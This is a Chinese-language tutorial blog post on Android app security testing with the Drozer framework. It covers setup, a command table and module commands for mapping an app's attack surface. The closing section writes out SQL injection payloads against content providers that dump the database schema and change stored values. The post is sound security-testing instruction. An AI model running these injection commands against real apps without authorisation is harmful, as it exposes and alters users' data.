Android App渗透测试--Drozer

Android App渗透测试–Drozer
1、概述
Drozer是一款领先的Android安全测试框架,可以发现Android应用程序暴露的攻击表面并与其进行交互,尽可能点对点发现Android漏洞,识别组织中易受攻击的设备,并进行远程攻击,Drozer既可以在Android模拟器上运行,也可以在实际设备上运行,可以免费从官网下载工具。
官网地址:https://labs.f-secure.com/tools/drozer/
2、基础环境
Drozer工具需要java环境、python27环境、adb调试工具。
操作系统:Windows10专业版。
Java环境:jdk1.7。
Python环境:python27。
Python模块:protobuf、pyopenss、 twisted。
Adb:安卓调试桥。
官网地址:https://adbshell.com/downloads
3、安装步骤
(1) 安装jdk1.7并配置环境变量。
在这里插入图片描述

(2) 安装python27并配置环境变量。
在这里插入图片描述

(3)安装python功能模块。
在这里插入图片描述

(4)安装adb
在这里插入图片描述

(5)安装drozer
首先安装服务端
下载地址:https://github.com/WithSecureLabs/drozer
下载后进行编译
在这里插入图片描述

编译:python setup.py bdist_wheel
然后在dist目录下找到编译后的执行文件。
在这里插入图片描述

直接双击,点击下一步即可。
在这里插入图片描述

这一步需要手动指定python 2.7环境。
安装手机端
使用adb安装,用数据线连接电脑和手机。
Adb install drozer-agent.apk
在这里插入图片描述

用Drozer连接手机
首先用adb设置一个合适的端口转发,方便电脑和手机代理打开TCP连接,默认情况下端口31415
Adb转发tcp命令:adb forward tcp:31415 tcp:31415
启动drozer
命令:drozer console connect
局域网连接命令:drozer console connect –server 手机端IP
在这里插入图片描述

启动成功。然后对指定app进行安全测试。
4、测试命令
官方给出的drozer命令及命令说明列表
官方直接给出的drozer支持命令及其命令说明列表如下

CommandDescription
runExecutes a drozer module
listShow a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.
shellStart an interactive Linux shell on the device, in the context of the Agent process.
cdMounts a particular namespace as the root of session, to avoid having to repeatedly type the full name of a module.
cleanRemove temporary files stored by drozer on the Android device.
contributorsDisplays a list of people who have contributed to the drozer framework and modules in use on your system.
echoPrint text to the console.
exitTerminate the drozer session.
helpDisplay help about a particular command or module.
loadLoad a file containing drozer commands, and execute them in sequence.
moduleFind and install additional drozer modules from the Internet.
permissionsDisplay a list of the permissions granted to the drozer Agent.
setStore a value in a variable that will be passed as an environment variable to any Linux shells spawned by drozer.
unsetRemove a named variable that drozer passes to any Linux shells that it spawns.

使用list查看所有支持的模块
在这里插入图片描述

(1)通过app.package.list模块获取要检测的app的包名
run app.package.list -f package_name
在这里插入图片描述

(2)使用app.package.info模块查看apk基本信息
run app.package.info -a package_name
在这里插入图片描述

(3)使用app.package.attacksurface模块识别攻击面
run app.package.attacksurface package_name
在这里插入图片描述

(4)使用app.activity.info模块查看activity组件信息
run app.activity.info -a package_name
在这里插入图片描述

(5)使用app.provider.info模块查看content provider组件信息
run app.provider.info -a package_name
在这里插入图片描述

(6)使用app.service.info模块查看service组件信息
run app.service.info -a package_name
在这里插入图片描述

(7)使用scanner.provider.finduris 模块去猜测可能存在的URIs
run scanner.provider.finduris -a package_name
在这里插入图片描述

(8)使用app.provider.query模块获取content中信息
run app.provider.query --vertical content://XXXXX
在这里插入图片描述

(9)使用scanner.provider.injection检测可注入的URI的注入点
run scanner.provider.injection -a package_name
在这里插入图片描述

Projection参数和Selection参数均存在注入
使用projection参数传递sql注入语句到content provider中
run app.provider.query content://XXXXXXXX --projection “'”
通过sql注入列出当前数据库DBContentProvider中的所有表名和字段名
run app.provider.query content://XXXXXXXX --projection “* from sqlite_master where type=‘table’;–” –vertical
使用selection 参数传递sql注入语句到content provider中
run app.provider.query content://XXXXXXXX/ --selection “'”
通过sql注入update数据库的内容,原来service的值为qwert
run app.provider.update content://XXXXXXX --selection “_id=1” --string service qazwsx

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Android app渗透测试是一种评估应用程序安全性的方法。以下是一些常用的Android app渗透测试方法: 1. 静态分析:通过检查应用程序的代码和资源文件,检查是否存在可能的安全漏洞,如弱密码、硬编码凭据等。 2. 动态分析:通过运行应用程序并监视其行为来检测潜在的安全风险,如未经授权的数据访问、隐私泄露等。 3. 安全配置审计:审查应用程序的安全配置,如SSL证书验证、数据加密等,以确保安全配置符合最佳实践。 4. 绕过认证:尝试绕过应用程序的身份验证机制,如用户名/密码验证、令牌验证等。 5. URL操纵:检查应用程序对URL的处理,尝试利用URL跳转漏洞,发现任意重定向漏洞等。 6. 数据存储审计:评估应用程序的数据存储和传输机制,检查是否存在数据泄露、未加密数据等问题。 7. API测试:检查应用程序的API调用,确定是否存在敏感函数、未受限制的接口等。 8. 代码审查:仔细检查应用程序的源代码,检查是否存在安全漏洞,如XSS、SQL注入等。 9. 弱密码测试:尝试推导或猜测用户的密码,以评估应用程序对弱密码的防御能力。 10. 社会工程学测试:尝试通过社交工程技术获取用户敏感信息,评估应用程序的安全意识和对恶意用户的防护能力。 综上所述,这些方法可以帮助评估Android应用程序的安全性,并发现潜在的安全风险和漏洞。然后可以采取相应的措施来修复这些漏洞,保护用户数据的安全。 ### 回答2: Android App渗透测试是一种评估应用程序安全性的方法,以发现其中存在的漏洞和潜在风险。这些测试可以帮助开发人员和安全团队改进应用程序的安全性,并保护用户的数据不受到攻击。以下是Android App渗透测试的一些常用方法。 1. 静态分析:通过逆向应用程序代码并检查其结构和逻辑,以发现可能存在的漏洞。这可以通过反编译和检查应用程序的代码、资源、配置文件等来实现。 2. 动态分析:通过模拟用户输入和交互行为,以对应用程序进行测试。这可以通过模拟攻击、针对应用程序网络通信进行监视、检查应用程序运行时的行为等来实现。 3. 数据传输和存储测试:检查应用程序在数据传输和存储过程中是否存在安全漏洞。这包括SSL/TLS证书验证、数据加密和解密、数据存储的安全性等方面的测试。 4. 授权和身份验证测试:检查应用程序对用户身份验证和授权的实施方式。这包括检查应用程序是否正确处理登录、注册和密码重置等功能,并验证应用程序在访问敏感数据时是否正确进行授权。 5. 网络安全测试:通过分析应用程序的网络交互方式,发现可能存在的网络攻击面。这包括检查应用程序的网络通信是否受到中间人攻击、拦截和劫持等方面的测试。 6. 权限测试:检查应用程序所请求的权限是否与其功能和行为相符,并验证应用程序在获得权限后是否正确使用这些权限。 7. 安全配置测试:检查应用程序的安全配置和设置是否正确,例如是否启用了调试模式、是否有敏感信息泄露的风险等。 8. 前端和后端安全测试:检查应用程序的前端和后端代码和配置的安全性,包括用户输入验证、服务器端漏洞等方面的测试。 这些方法可以被组合使用,以形成全面的Android App渗透测试计划。测试人员应根据具体的应用程序特点和需求来选择适合的测试方法,以确保应用程序的安全性和用户数据的保护。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值